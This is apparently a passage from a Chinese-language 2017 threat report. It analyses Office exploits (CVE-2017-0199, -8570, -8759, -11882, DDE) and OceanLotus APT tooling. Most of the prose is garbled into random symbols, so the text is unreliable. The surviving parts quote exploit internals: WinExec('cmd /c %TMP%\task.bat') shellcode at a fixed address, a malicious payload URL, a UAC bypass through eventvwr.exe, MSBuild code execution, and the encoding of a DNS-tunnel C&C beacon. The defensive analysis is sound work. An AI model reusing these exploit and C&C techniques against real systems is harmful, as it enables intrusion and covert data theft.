 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ҏɻ 

₵ שׂ  
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3.1 2017 Office ₵ שׂ  

1990 11 Office ѿҩ ̆ ԅ 27 Ȃ Office ↓ⱲῈ ᴆ

ѿ ᵝȂ ӊ ̆ Ҥ ῃ Ȃ 

2017 ̆ ױ ⌠ 21҆ҩ Office ₯ Ȃῃ ᵣ ל Ҋ ȂῒҬ̆2017

6 ⌠ῃ ̆ CVE-2017-0199 ≠ ΐ Ὲ ѿ ῏ Ȃ 

 

 
图 33 2017 Office  

 

2017 ̆Office ₮ ῃ Ȃ ңҩ ᴪ Ὲ Ȃ 

 /  ‗  

2017 4  CVE-2017-0199 https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2017-0199 

2017 5  CVE-2017-0261 

CVE-2017-0262 

https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2017-0261 

https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2017-0262 

2017 7  CVE-2017-8570 https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2017-8570 

2017 9  CVE-2017-8759 https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2017-8759 

2017 10  CVE-2017-11826 https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2017-11826 

2017 11  DDE Attack https://docs.microsoft.com/en-us/security-

updates/securityadvisories/2017/4053440 

2017 11  CVE-2017-11882 https://portal.msrc.microsoft.com/en-

US/security-guidance/advisory/CVE-2017-11882 

 

ױ ԅ ̆ ⌠Ҋ Ҭ Ȃ 
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图 34 2017 Office ‟  

 

2017 ̆ ≠ 3ҩ ( DDE ₯) CVE-2017-0199̆CVE-2017-11882 CVE-

2017-8759Ȃ 

ץ ⌠̆2017 11 ̆CVE-2017-11882 POC Ὲ ̆ ₯ ӊ╠ ̆

ᶏ ԍ ̕ 12 ̆CVE-2017-0199 ₮ Ȃ 

₮ ̆ CVE-2017-8570 ҍ CVE-2017-0199 ҹ Ἕ̆ᵖ ԍῒ POC

ԍ 2018 1 Github ҉Ὲ ̆ 2017 ₮ ̕ CVE-2017-11826↕ ԍ

̆ ⌠ ≠ ̕CVE-2017-0261/0262↕ ѿ ̆ Ҁ ԅҍῒ ῏

EPS ̆ ₃Ӎ Ῥ Ȃ 

ױ ⌠̆2017 ₮ ̔҉ CVE-2017-0261 CVE-

2017-0262 ̆ ҍ EPS ῏̕ OLE CVE-2017-0199 CVE-2017-8570 ̆Ӟ

₮ԍ ᵌ └̕ CVE-2017-11882̆↕ Ҋѿ 1 ₮ ԅ Ȃ ҩ

̆ ₯ ᴪ ῒ └ ῀ ̆ ᵌ ╠ѿ ‗

Ȃ 

̆ Office Ҭ̆≠ Ҍ Ȃ׆ ̆ᶏ ԅ

ף ῃ Office 59.47%̆ ῀ 25.57%̆

₮ CVE-2017-0199ֽ 6.39% Ȃ ԍᶏ ̆ Ώ ῀ OLE ₯

ᵞ ̆ Ȃ 

῀ ̆ ᴆҬ ῀ѿҩ ᴆ JAR ᴆȂ

ῤ ᶏ ₯ ׆̆ ⌠ Ȃ ̆ יּ ᴆ ԅ Ҭ ῀ѿ

Powershell ף Ҋ ̆ ҹ Locky יּ ᴆȂ 

ᶏ Ӟΐ ᵌ ῤ ̆ ῤ Office Ҭ ⱳ ̆≠

AutoOpen ף ⱴ Ȃ ᴪᶏ ̆ᶏ ῤ Ҍ

̆ № ұ ᴆ Ҭ̆ᶏ № Ȃ ף ᵬ Ҋ ѿҩ

̆ѿ № ᴪ ḱ Office normal.dotm̆ ᴰ Ȃ 
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ױ Ҭ ᴆ ԅ ȂῒҬ̆DOC DOCX ᴆ ԅ

78.1%̕XLS XLSX ᴆ ῒ ̆ ԅ 12.47%̕RTF ᴆ 7.98%̆ᵝ↓ ҈Ȃ 

 

 

图 35 Office ⅎ ‟Ѓ Є 

 

׆ ױ № ̆2017 ᶏ RTF ᴆᵬҹ ᵣȂ ѿ

Һ Ҋңҩץ ̔ 

ᾢ̆RTF ᴆᶏ ԍ └ (control word) № (group) ̆ ᵝ Ҍ

Ἕ DOC ᶏ ԋ └ ᴆ ᴆѿ ̆ӞҌἝ DOCX ᶏ OOXML ᴆѿ

Ҥ ᴆȂ ᵣ ̆ ̆Ӟ ᶏ № Ȃ 

ῒ ̆RTF ᴆ \objupdate └ ꜚ ̆ ≠ԍ ꜚ Ȃ ѿ └

Ҭ↕ ṢꜛḠ PPSX ꜚ Ȃ ₃ ȁOLE DDE

↕ ֜ԑ ̆ ᵞԅ ⱳ Ȃ 

3.2 ῝ ⅎ  

2017 Office ̆ ץ ҍ OLE ῏Ȃ 

4 CVE-2017-0199 7 CVE-2017-8570̆ ѿ ῏ԍ OLE Ȃ 

9 CVE-2017-8759̆ .NET ̆ᵖ׆ Ҭ ̆ҍ╠ң

Ȃ 

11 CVE-2017-11882( CVE-2018-0798 CVE-2018-0802)̆↕ Ὲ ѿ

OLE ᴆ ₮ Ȃ 
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̆ Ҋ № Ҭ̆ Ӟᴪױ ׃ OLE Ҍ ᴆ Ҭ Ữ Ȃ 

3.2.1 Office OLE Ỵ  

ׂ Office ᴧ ̆ Ҋ₃ץ ̔ 

̂1̃ ԋ └ ᴆ  (Compound File Binary Format, CFBF) 

Office 2003 ӊ╠ ᶏ ̆ Ữ(Structured Storage, SS)

ѿ Ȃ ҹ DOC̆XLS̆PPT Ȃ Ӟ ᵬ Composite Document File 

V2 Document(CDF)Ȃ 

̂2̃Office Open XML (OOXML) 

Office 2007 ᶏ ̆ ѿ ץ XML ᴆҹ ץ ZIP

ᴆ Ȃ ҹ DOCX̆XLSX̆PPTX Ȃ 

̂3̃  (RTF) 

WindowsΏ ᶏ ̆ ᶏ └ (control word) № (group)

ῤ Ȃ ҹ RTFȂ 

҈ ̆ ԍ OLE Ữ Ҍ ȂҊ ҈ Ữ Ạ Ȃ 

3.2.1.1 OLE CFBF Ҳ Ỵ  

CFBFҬ̆ ץ Ữ(storage) (stream) ȂῒҬ̆╠ ԍľ ᴆ

Ŀ̆ ԍľ ᴆĿȂ Ữ ᵬľ ỮĿ(root storage)Ȃ 

OLE CFBF Ҭ ң ̔ѿ ҹ ҹ"\x01Ole10Native" ̆ ԍ

̆ ѿ ҹ ҹ"\x01Ole" ̆ ԍ Office Ȃ 

"\x01Ole10Native" Ҋ ̔ 

 

 

图 36 "\x01Ole10Native"  

 

"\x01Ole10Native" Ҭ̆╠ ҩ Ữԅ ̆ ҹ Ȃ 

"\x01Ole" Ҋ ̔ 
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图 37 "\x01Ole"  

 

"\x01Ole" Ҭ̆ṿ ῏ ῤ Ҭ 2ҩ MonikerStream(Relative/Absolute 

SourceMonikerStream)̆ῒҬ ԅ Moniker ῏ ( UrlMoniker URL ̆

FileMoniker ᴆ )Ȃ 

3.2.1.2 OLE OOXML Ҳ Ỵ  

OOXMLҬ̆OLE ӈ .xml.rels ᴆҬȂ Type

≢ȂOLE ≢ҹ".../relationships/oleObject"Ȃ 

ԍ ̆ᴪ ᶭ ᴆҬ TargetMode = "External"̆ Ҋ ̔ 

 

 

图 38 OOXML  

 

ԍῤ ↕ TargetModĕ Ҋ Ȃῤ embeddings

ҊȂ 
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图 39 OOXML Ὺ  

3.2.1.3 OLE RTF Ҳ Ỵ  

RTF ᴆᶏ └ № ῤ Ȃ 

ῒҬ̆ └ "\"ץ ѿұ Ȃ "\rtf1"̆ └ "\rtf"̆ "1"̕ №

№̆ № ῤ̆῍֣ └ Ȃ



2017 ῃ ל  

  

 39 / 106 

 

 

图 42 CVE-2017-0199/CVE-2017-8570 ⅎ Ѓ2Є 

 

῀ OLE ̆ ѿҩ ԋ └ ᴆȂᶏ OffVis ̆ ץ ҩ ᴆҬ

"\x01Ole" Ȃ 

 

 

图 43 CVE-2017-0199/CVE-2017-8570 ⅎ Ѓ3Є 

 

ҩ Ҭ̆ ץ AbsoluteSourceMonikerStream Ҭ ⌠{79EAC9E0-BAF9-11CE-8C82-

00AA004BA90B} ѿ CLSID̆ URL MonikerȂ 

 

 

图 44 CVE-2017-0199/CVE-2017-8570 ⅎ Ѓ4Є 

 

Ҋ Ҭ ץ ⌠ URL Moniker ᵬ Ȃ URL Moniker ̆ ׃

(Media-Type Negotiation) ѿ ̆ Ⱶ Ҭᴪ Content-Type ѿ ̆

ԅ ׃ ̆ text/plain Ȃ 
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CVE-2017-0199 ᴆӊѿ ҍ ῏Ȃ Ⱶ ץ ׃ Ҭ hta

ѿ ׆̆ ᶏ Office mshta.exe(HTA Moniker ) hta ҩ ĺĺ

hta ᴆ ץ ᴋ ף Ȃ 

 

 

图 45 CVE-2017-0199/CVE-2017-8570 ⅎ Ѓ5Є 

 

URL Moniker ̆File MonikerӞ ץ ᵌ └ȂFile Moniker ᴪ

GetClassFile COM ᴆ CLSIDȂ 

GetClassFile₱ ᾢᴪ Ҍ Ữ ̆ Ύ Ҭ

̆ Ҍ ̆Ῥ ᴆ CLSIDȂ 

CVE-2017-0199 File Moniker .sct ᴆ ̆ᴪ Script Moniker

׆̆ ԅ ҩ sct ᴆҬ ῤ Ȃ 

ᵌ ̆CVE-2017-0199 ץ PPSX ᴆҹ ᵣ Ȃ ppt/slides Ҋ XML ᴆ

Ҭ̆ ѿҩ ꜚ ̆ rels ᴆҬ Ȃ 

 

 

图 46 CVE-2017-0199/CVE-2017-8570 ⅎ Ѓ6Є 

 

ppt/slides/_rels Ҋ rels ᴆҬ̆ ҩ ӈȂ 

 

图 47 CVE-2017-0199/CVE-2017-8570 ⅎ Ѓ7Є 

 

XML ᴆҬ̆ verb ᵬ ӈ̆ ⌠ Ȃ 
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图 48 CVE-2017-0199/CVE-2017-8570 ⅎ Ѓ8Є 

 

ԍ CVE-2017-0199 ḱ ̆ ԅѿ ᵬ FilterActivation └Ȃ ӊ̆

ԅ HTA Moniker Script Moniker CLSIDȂ ѿ Ҍ Ȃ 

₃ҩ ̆ѿ Composite Moniker Scriptlet Moniker ԍ ₯̆

CVE-2017-8570 Ȃ 

 

 

图 49 CVE-2017-0199/CVE-2017-8570 ⅎ Ѓ9Є 

 

҉ ̆ ѿ ≠ ԅѿҩ CLSID̆ Composite Moniker ѿҩ

URL/File Moniker ҹ New Moniker̆׆ .sct ᴆ Scriptlet Moniker̆ ԅ

FilterActivation └ Ȃ 

3.2.3 .NET ЕCVE-2017-8759 

CVE-2017-8759 ҉ └ҍ╠ңҩ ᵌ̆ᵖ ΐ ▲ Ȃ 

ѿ ף ₮ wsdlparser.cs ҬȂ 
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图 50 CVE-2017-8759 ⅎ Ѓ1Є 

 

ף ҉̆ ᵬ ᶏ ѿ ₮ URL̆ ף Ҭ ῒז URLȂ

̆ᶏ (//)̆ᵖ URL Ạ Ȃ 

̆ URL Ҭ ῀ѿҩ ̆ ף ׆̆῀ ᴋ ף Ȃ 

 

 

图 51 CVE-2017-8759 ⅎ Ѓ2Є 
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图 52 CVE-2017-8759 ⅎ Ѓ3Є 

 

ḱ Ӟ ҹ ̆ⱴ῀ԅ ԍ URL № ̆ ԍ Unicode

ӈ ₮̆ᶏ Ȃ 

3.2.4 ῎ ₴ ЕCVE-2017-11882 

CVE-2017-11882 ѿҩ 20 ῃ Ȃῒ Office ⱴ Ὲ ⱳ ֜

ԅ ᴆ EQNEDT32 Ȃ ҩ ᴆ 2000 ̆ ῃ Ȃ

ᶛ ̆ ᴆ ASLR └̆ ᶏ strcpy Ҍ ῃ ₱ Ȃ 

῀ Ὲ ̆EQNEDT32.EXE Ҍᴪ ᵬҹ Office ̂ Word ̃ ⇔

̆ ץ Ȃ ԍ WINWORD.EXE, EXCEL.EXE Office Ḡ

└̆ EQNEDT32.EXE ҩ ≠ Ȃ 
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图 53 CVE-2017-11882 ⅎ Ѓ1Є 

 

CVE-2017-11882 ↕ Ὲ 3.0 ᴆ FONT ѿҩ ₮ Ȃ 

RTF ᴆҬ̆ COM ProgIDҹ Equation.3̆ᵖ ҉ѿ֓ῒז ProgIDӞ

ץ ̆ ғ ProgID Ȃ 

 

 
图 54 CVE-2017-11882 ⅎ Ѓ2Є 

 

OLE № ̆ ץ Ὲ ῏ῤ "Equation Native" ῤȂ 

 

 
图 55 CVE-2017-11882 ⅎ Ѓ3Є 

 

Ὲ ῤ ᶏ ԅѿ ҹ MTEF v.3 ԋ └ ỮȂ ҹ 28̂0x1C̃ҩ

̆ ӈ Ҋ̔ 
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struct EQNOLEFILEHDR { 

    WORD    cbHdr;      // ̆ ҹ 0x1CȂ 

    DWORD   version;    // ҹ 0x00020000Ȃ 

    WORD    cf;          // Ὲ ◄ Ȃ 

    DWORD   cbObject;  // MTEF ̆Ҍ Ȃ 

    DWORD   reserved1; // Ὲ  

    DWORD   reserved2; // Ὲ  

    DWORD   reserved3; // Ὲ  

    DWORD   reserved4; // Ὲ  

}; 

≠ Ҭ̆ Ҋ Ȃ 

 
图 56 CVE-2017-11882 ⅎ Ѓ4Є 

 

҉ Ҋ ̔ 

Ẓ    ṿ 

0-1 cbHdr Ὲ  0x001C 

2-5 version  0x00020000 

6-7 cf ◄  0xC3BE 

8-11 cbObject MTEF  0x45̆ 69  

12-15 reserved1 Ὲ  0x00000000 

16-19 reserved2 Ὲ  0x00682428 

20-23 reserved3 Ὲ  0x0069A87C 

24-27 reserved4 Ὲ  0x00000000 

 

Ὲ ҹῈ ȂῈ ᶏ Ữ̔ 

 

 
图 57 CVE-2017-11882 ⅎ Ѓ5Є 

 

MTEF v.3Ὲ Ҭ̆╠ 5ҩ ҹ ̆ Ҋ ̔ 

Ẓ   ṿ 

0 MTEF  0x03 

1  0x00 Macintosh ̆0x01

Windows Ȃ ҹ 0x01Ȃ 

2 ֟  0x00 MathType ̆0x01 Ὲ

Ȃ ҹ 0x01Ȃ 

3 ֟ Һ  0x03 

4 ֟ ◐  0x0A 

ӊ ҹῈ Ȃ 

0x0A ҹ SIZĔ ѿҩ Ȃ 
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0x08 ҹ FONT̆ Ҭ Ҋ Ȃ 

ṿ  

0x08 FONT  

0x02 typeface  

0x81 ᵣ  

0x636D642E...... ᵣ ץ̂ ̃̆ 9Ҭ cmd.exe...

ұ 
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图 59 CVE-2017-11882 ⅎ Ѓ7Є 

 

 

图 60 CVE-2017-11882 ⅎ Ѓ8Є 

 

ḱ ₱ Ҋ ̆ ╠ Ҭ ⌠̆ Ὲ ASLRȂ ҩ

0x00430C12 ԍ ₱ WinExec Ȃ ᵣ פ ץ Ȃ 

 

 

图 61 CVE-2017-11882 ⅎ Ѓ9Є 
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CVE-2017-11882 cmd/mshta/powershell פ Ҋ ̆

2017 12 ₮ ԅᶏ shellcode Ҋ Ȃ ̆ғ ≠ץ ⱴ

shellcode⁞ Ȃ 

ԍ ҩ ḱ ԋ └ ̆ ҹ ӄף ̆ ⌠ ף Ȃ

2018 1 Ҭ̆ − ԅῈ 3.0 ҩ ᴆ(Office Ҭ ԅ ҩ

ᶏ ̆ Ҍᴪᶏ Ὲ )Ȃ 

3.2.5 DDE ┼ 

DDE(Dynamic Data Exchange) ѿ Ḥ ̆ Office Ȃ

OfficeҬ̆ ⱳ ╠̆ᴪ ѿҩ ̕ ԅ ̆↕ DDEҬ ῤ

ᴪ Ȃ 

 

 

图 62 DDE ₵ ᶡ 

 

OOXML ᴆҬ̆ DDEAUTO Ȃפ פ ᴆ ҹ

word\document.xmlȂ 

ҹ └ ѿҩ ῃ ̆ ₮ԅ ̆ ⱳ ҉ ḱ Ȃ 

3.3 ῝ ₵ ⅎ  

2018 ∆ ⌠ ѿҩ ₯ Ȃ ѿ №

̆ ғᶏ ԅ 4ҩ ₯Ȃ 

Ҋ ̆ ᶏ ԅ Packager.dll └̆ ҩ ᴆ ⌠%TMP% ҊȂ 

  ≢  

1 decoy.doc Package ᴆ 

2 task.bat Package %uu% ῒ

ᴆ%Temp%\block.txt ᵬҹԑ ̆ ꜚ

2nd.batȂ 

3 exe.exe Package Loki(Dyzap)  

4 2nd.bat Package ꜚ EXE.EXE Word ̆ ῃ

Ẋ ↨ ᴆҹ

decoy.docȂ 

5 inteldriverupdl.sct Package ꜚ task.bat ᴆȂ 

 

 Ҭᶏ ҩ Ҋ ̔ 

 (1) CVE-2017-8570  

 

 

图 63 ₵ Ѓ1Є 
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ץ ⌠ ᶏ ԅ\bin ῏ ̆ ҹ 2633̆ 2633ҩ ҹ ( Έ └

)̆ OffVis Ҭ Ȃ 

 

 

图 64 ₵ Ѓ2Є 

 

ץ ҉ Ҭ ⌠̆ OLE ᶏ ԅ Composite Moniker̆ File Moniker New Moniker

ѿ ̆ ꜚ%TMP%\inteldriverupd1.sct ᴆȂ sct ᴆ ԍ ꜚ task.bat̆

ץ ╠ № Ȃ 

(2) CVE-2017-11882 CVE-2018-0802  

ң ᶏ № ᵌ̆ ≢ֽֽ ԍῈ №Ȃ 

 

 

图 65 ₵ Ѓ3Є 

 

ң № ̆ ᾢᶏ ԅѿҩ Ҍᴪ destination ῏

\mmath̆ ᶏ ԅѿҩ \binȂ ң ᴪᶏ ΐ Ȃ 

RTF Ҭ̆ҹ └ └ ԅѿҩ ҹ 0xFF ̆ғ └

└ ץ ̆Ӟ ׆̆ bin № 253 ̆ Ҭ

ᵝ Ȃ \bin └ ԍ\bin0̆ ῀ᴋᵥ Ȃ 

 

图 66 ₵ Ѓ4Є 
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ѿҩῈ № ҉ ̆ ῤ ᴪ FONT ₮

(CVE-2017-11882)̆ ѿұῤ ᴪ WinExec("cmd /c %TMP%\task.bat") פ Ȃ 

 

 

图 67 ₵ Ѓ5Є 

 

ԋҩῈ № ҉ ̆ FONT ₮̆ᴪ CVE-2018-

0802 ̆ ᴪ "cmd /c %TMP%\task.bat "  

(3) CVE-2018-4878 

Ҭ ԅѿҩ Shockwave Flash ̆ ᴪ CVE-2018-4878 ̆

ᴪ "cmd.exe /c %TEMP%\task.bat"  Ȃפ

 

 

图 68 ₵ Ѓ6Є 

 

RTF ̆≠ ԅ\fldinst INCLUDEPICTURE ῀ԅѿҩ ̆ User-Agent

҉ ̆Office Ḥ Ȃ ѿ Kaspersky ȇAn (un)documented 

Word feature abused by attackersȈ Ҭ Ȃ 

 

 

图 69 ₵ Ѓ7Є 

 

∞ ̆ ҹ Lokibot̂Dyzap̃ ̆ѿ Ȃ 
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ȁ高级持续性威胁攻击态势观察 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ɻ 

₵ שׂ  



2017 ῃ ל  

  

 52 / 106 

 

̆ ױ ѿ APT ꜚ ̆ 2017 ῤ APT ₯Ԋ

ᴆ̆ ῒ ₯ APT Ȃ 

2017 ̆ ҩ APT ҹ ̆ ҍׂ ᾣ ῏Ȃ

APT ₯ Ҭ̆ ̆ῒ ҹ ҙȂ 

 

 

图 70 APT ₵ ⅎ  

4.1 ₵ APT  

̆ ױ 2017 ₯ APT Ȃׂ ץ ̆ ԍ Office

ᾣ̆ᴧ APT Ӟ҉ף Ȃѿ ῤ

ᴪᶏ ῏ ₯̆ ғ ₯ ȁ ᴰ ȁ ҉ ⌠ԅ Ȃ 

4.1.1  

(OceanLotusȁAPT32) ѿҩΐ Ȃ ԍ 2012 4

₯Ҭ Ԋ ȁ ȁ ᴑҙȂҺ ᶏ ₯ ̆

̆≠ ≠ ꜚȂ 

₯ 2014 ׂ̆ ₯ ȁ ₯ ȁ

‰ȁҍ ᴆ Ȃ ῒ

ҹѿҩ ȁҒҙ Ȃ 

₯ ȁ ȁ ᴪ ҩ Ȃΐ ᴆ Ȃ 
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4.1.1.1 ₵Ԑᴌ 

2017 Ҭ̆ ₯ԅ֒ ȁ´Ԋȁֲ ȁ ᵣ סּ ῏ ҩ

ֲ 100 ҩ Ȃ ₯ ̆ᶏ JavaScript Ḥ ̆

Ῥ ᴪ ֲ ₯ ᴆ ῀ ̆ ᵊ Ҋ

ѿ ꜚȂ 

Һ ₯ Ҋ̔ 

1.῀᷅ ₯ ̆ Ҭ ῀ Ȃ ₯ ₯

JavaScript ף ῀⌠ ̆ Ḥ ̆ḱ ȁ

Ҋ ᴆȂ Ḥ ᵖҌ ԍ̔ ȁ ̆№ ̆CPU Ḥ ̆ ̆

Cookie Ḥ ̆ ╠ IP Ȃ 

2. Ḥ ӊ ̆ ₯ ᴪ ѿҩ ῐ Ȃ Ҍ ↕ֽֽ ѿҩ

̆ ↕Ҋ JavaScript Payload̆ Ҋⱳץ ̔ 

ץ1̃̂ ₯ Google Ḥ Ȃѿ ҹ ₯ ̆

₯ ᴪ 24 Ҋץ₮ Ȃ 

 

 

图 71 ⅎ Ѓ1Є 

 

̂2̃ ₯ ҩ ̆ ᴪ ⌠ Googlĕץ ꜚ OceanLotus APP ԍ Google 

OAuth Ȃ 
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图 72 ⅎ Ѓ2Є 

 

̂3)ѿ ₯ľᾛ Ŀ̆OceanLotus Google App ⌠ ̆

Ҋ ᴆ ֲȂ 

̂4̃ ԅ ף ᴆȂ 

4.1.1.2 ₵Ԑᴌ 

2017 11 ̆ ѿ ᴆ ₯Ȃ 

1. ₵Ԑᴌ AЕ  

ѿ ₯ԊᴆҬ̆ ᶏ ԅ CVE-2017-8759 Ȃ ₯ ̆ᴪ≠

CVE-2017-8759 Ҋ ѿ Powershell ף Ȃ 

 

图 73 ⅎ Ѓ3Є 

 



2017 ῃ ל  

  

 55 / 106 

 

ԅѿ  UAC Ȃ ḱ ԅѿҩҌ UAC ḱ Ύ ̆

ᶏ ꜚ ṿ powershell ף Ȃ҉ץ ᵬ ᶏץ ף Ҍ

Ḃ ≠ Ȃ 

 

 

图 74 ⅎ Ѓ4Є 

 

 ≠ eventvwr.exĕ ḱ ṿ Ҍ UAC Ḃ Ȃ 

2. ₵Ԑᴌ BЕ 

ԋ ₯Ҭ̆ ᶏ Winword.exe wwlib.dll ᵬҹ ᴆ ᴆ ̆ῒҬ

Winword.exe ҹ Office Word Һ ȂWinword.exe ᴪ ⱴ Ҋ wwlib.dll̆

wwlib.dllҹ ̆ ץ ₮ ѿҩ DLLꜝ ≠ ⱴ ף Ȃ 

 

 
图 75 ⅎ Ѓ5Є 

 

ᴪ ѿ shellcodĕ shellcode ᴪҊ Ҋѿ ₯ ̆ ₯

ҍ CVE-2017-8759 Ҋ shellcodeѿ ̆ ғ shellcode ̆Ῥ

ѿҩ word Ȃ 

3. ₵Ԑᴌ CЕ 

҈ ₯ԊᴆҬ̆ ≠ MSBuild.exe ₯ ᴆȂ

MSBuild ᶫ ѿҩ ԍ ̆ ץ XML ᴆ └ ᵥ

ҍ ᴆ̆ ץ Visual Studio Ҭ ᵬȂ 

XML ᴆҬ ץ ѿ֓ ᵬ̆ └ ᴆ ⇔ ̆ Ώ῀ῒ

Ҭ C# ף Ȃ ӊ ̆MSBuild ᾛ Task ᾝ ӈ ᴋⱵ̆ ⱳ  ץ
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Ώ῀ῒҬ C#ף ̆ ≠ץ ӈ Task ⱴ ף ̆Ԋ ҉

Ӟ ӇẠ Ȃ 

 

 

图 76 ⅎ Ѓ6Є 

 

ᴪᶏ MSBuild ѿҩ Powershell ̆ Powershell ῤ

Ҭⱴ ѿҩ EXE ᴆ̂ף ҍ҉ ᵌ̃̆ ץ C&C ̆ └Ȃ 

 

 
图 77 ⅎ Ѓ7Є 

4.1.1.3 Ӏ ᶕ ⅎ  

1. ₵ ᶕ JS ⅎ  

╠ ⌠ ₯ ᶛҬ̆ ᴪ JavaScript ף ῀⌠ ̆ ῏ JS

ᴪ Ḥ ̆ Ḥ ‗ Ҋѿ ꜚᵬ̆ ̔ḱ

ȁ Ҋ ᴆ Ȃ 

Ҋ ׆ ᶛҬ ⌠ JS № ̔ 

׆1̃̂ js ᵣ ҉̆ jquery.min.js ף ̆ ף ԍ JQuery  ף̆

Ҭ ԅ javascript ₱ Ȃ 
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图 78 ⅎ Ѓ8Є 

 

ᴆ ԍ ᴆ̆ᵖ ῀ԅѿ ף Ȃ 

ף2̃̂ ̆ ץ ⌠ JS ⌠ Ḥ Ȃ 

̔ , , № , DPI,CPU ,CPU , №

,BuildID̆ ̆jsHeapSizeLimit̆screen.colorDepth̆ Javă ⱴ ᴆ

↓ ̆cookiĕIP  

̂3̃ Ḥ ⌠ C&C Ⱶ Ȃ Ḥ ᵌ Ҋ̔ 

 

 

图 79 ⅎ Ѓ9Є 

 

̂4̃ ₯ ⌠Ḥ ̆ ҩ Ҭ IP̆ ᴪ ѿҩ ̆ Ҋ

JavaScript PayloadȂ 

̂5̃Ҋ ѿҩҍῒ JS ̆ ץ Ḥ payload Ҋ ҹҺ̆

Ҋ ̆ ᴪ Һ Ḥ Ȃ 
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图 80 ⅎ Ѓ10Є 

 

̆ᴪ ᵌҊ↓ ⌠̆ payload Ҋ Ȃ 

ad.jqueryclick.com/117efea9-be70-54f2-9336-893c5a0defa1 

 

 
图 81 ⅎ Ѓ11Є 

 

2.ᵀ ᴌ  

҉ ₯ӊ ̆ѿ ᴪҊ FlashUpdate ᴺ ᴆ Ȃ 

̂1̃ ᴺ ̆ ₮ ⱳ Ḥ Ȃ 

 

 

图 82 ⅎ Ѓ12Є 
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̂2̃ Ҋ shellcode 

 

 

图 83 ⅎ Ѓ13Є 

 

̂3̃Shellcodeף Ҋ̔ shellcode ץ ⌠ѿҩ dll ᴆ 

 
 84 ⅎ Ѓ14Є 

 

̂5̃ DLL ᴆ ̆ ץ ⌠ C&C Ȃ 
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图 85 ⅎ Ѓ15Є 

 

̂6̃ Ḥ ̆Һ ̔key̆pid̆ ̆ip ̆Һ ̆ ̆ ҹ

64 ᵝ Ȃ 

 

 
图 86 ⅎ Ѓ16Є 

 

̂7̃ C&C Ⱶ Ȃ 
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图 87 ⅎ Ѓ17Є 

 

̂8̃ҍ Ⱶ Ḥ Ҋ̆ ץ ₮ Ⱶ ԅѿ ⱴ Ȃ Host Һ

ҹ ᴺ Ḥ ̆ ֓ Host Ȃ 

 

 
图 88 ⅎ Ѓ18Є 

 

̂9̃ ⌠ ѿ֓ ₯ ᶛ№ ̆ ᾢᴪ C&C Ⱶ ̆ C&C Ⱶ

ѿ ̆ Ḥ ̆Ḥ Ҭ ѿ ⱴ ץ Ȃ 
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图 89 ⅎ Ѓ19Є 

 

3.⌐ DNS ᴶ Denis  

Denis ᶏ ѿ ≠ DNS ᴰ ̆ ╠ 3ҩ Ȃ 

̂1̃ ѿ̔ 

a. ̆ ꜚ ṿ̆ Base64 ̆ DNS Ⱶ 8.8.8.8Ȃ

DNS BotID̔ 

 

 

图 90 ⅎ Ѓ20Є 

 

b.C&C Ⱶ BotID̆BotID ԅ zlib ̆ ῒҬ 789c Ȃ 



2017 ῃ ל  

  

 63 / 106 

 

 

图 91 ⅎ Ѓ21Є 

 

ᶛ 2E D9 95 62 0x2ED99562̆ץ Denis C&C Ḥ ᴪⱴ҉ BotIDȂ 

c. Denis C&C Ḥ ̆Һ Ȃ ᾢ zlib ̆Ῥ

Base64 Ȃ 

 

 

图 92 ⅎ Ѓ22Є 

 

ῒҬ LtmVYgQAAAAAAAEAAAAAAAAAAAAAAJCY̆ Base64 ӊ 2E D9 95 62 04 00 00 00 

00 00 01 00 00 00̆ľ2E D9 95 62Ŀ BotID̆ľ04 00 00 00 00 00 01 00 00 00Ŀ Ȃ 

AAAAADwAAAA6AAAAeJwLc_ULDdY1MjeyMHQydHRyTMnNzMssLilKLMkvYnBiAA.gTOP_R2-

iV9mZGVkZmBkYGKAAwD7vA2H Base64 ̆Ῥ zlib ̆ Ҋ̔ 

 

 

图 93 ⅎ Ѓ23Є 

 

ӊ ̆ ̆ BotID Base64 Ȃ 
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图 94 ⅎ Ѓ24Є 

 

ѿ῍ 16  Ȃפ

 

 
图 95 ⅎ Ѓ25Є 

 

̂2̃ ԋ̔ 

ҍ ѿ Denis ̆ DNS Ȃ ԋ ̆ ̆ ѿ

↕ ҹ DNS ̆ DNS Ⱶ Ȃ ᾢ ҹ Ώ̆Ῥ ҹ UNICODE Ȃ 

↕ UNICODE ұ Ȃ ԍ 0⌠ 9̆ g 0̆h 1Ȃᶭ

Ȃ ԍ a⌠ f a⌠ f Ȃ 

    

0 g 8 o 

1 h 9 p 

2 i a a 

3 j b b 

4 k c c 

5 l d d 

6 m e e 

7 n f f 

 

҉ ↕̆76 00 ҹ nmgğ6E 00 ҹ megğ ᵣ ҹ Ҋ̔ 
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图 96 ⅎ Ѓ26Є 

  

ԋ http ̆ ╠ ⌠ ̆҉ dns ̆ᴪ ѿҩ IP Ȃ 

 

 

图 97 ⅎ Ѓ27Є 

 

ӊ ᴪ IP POST ̆host refererׅ ҉ ↕ dnsȂ 

 

 
图 98 ⅎ Ѓ28Є 

 

̆ ԋ ᶏ ԅѿ֓ ̆ loaderȁdllꜝ ȁshellcode Ȃ

loader ҹ dll̆ ῤ ⱴ Ȃdll ̆ ҹ rastlsc.exeȁ

rastls.dllȁOUTLFLTR.DAT ᴆȂ C:\Program Files\Symantec\Proxy\̆ Ẋῳ

Symantec ῏ ᴆȂῒҬ rastlsc.exe Symantec ᴆ̆rastls.dll ̆

OUTLFLTR.DAT ⱴ Ȃrastls.dll rastlsc.exeⱴ ̆ OUTLFLTR.DAT ҹ dll̆ 

dll Ȃ loader 
¼
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̂3̃ ҈̔ 

҈ Ḥ ̆ Ҋ ̔IC<Container 

type>.<UID>.<Container>.<Server address>Ȃ 

ץ Ҋҹᶛ̔ 

IC1.MFVTIN3MOMADQMJSGM2DKNRXHDAKR7WS.LHNZQWSJIFBUSTKBJ5IQGQICIMBUIBNAT5ICGQLJCJBL4B

LY5J5TCVAW.tt.lookfofo.com 

ῒҬ IC ̆1 Container typĕ ( Container №) ҉ᴰ Ḥ Ȃ

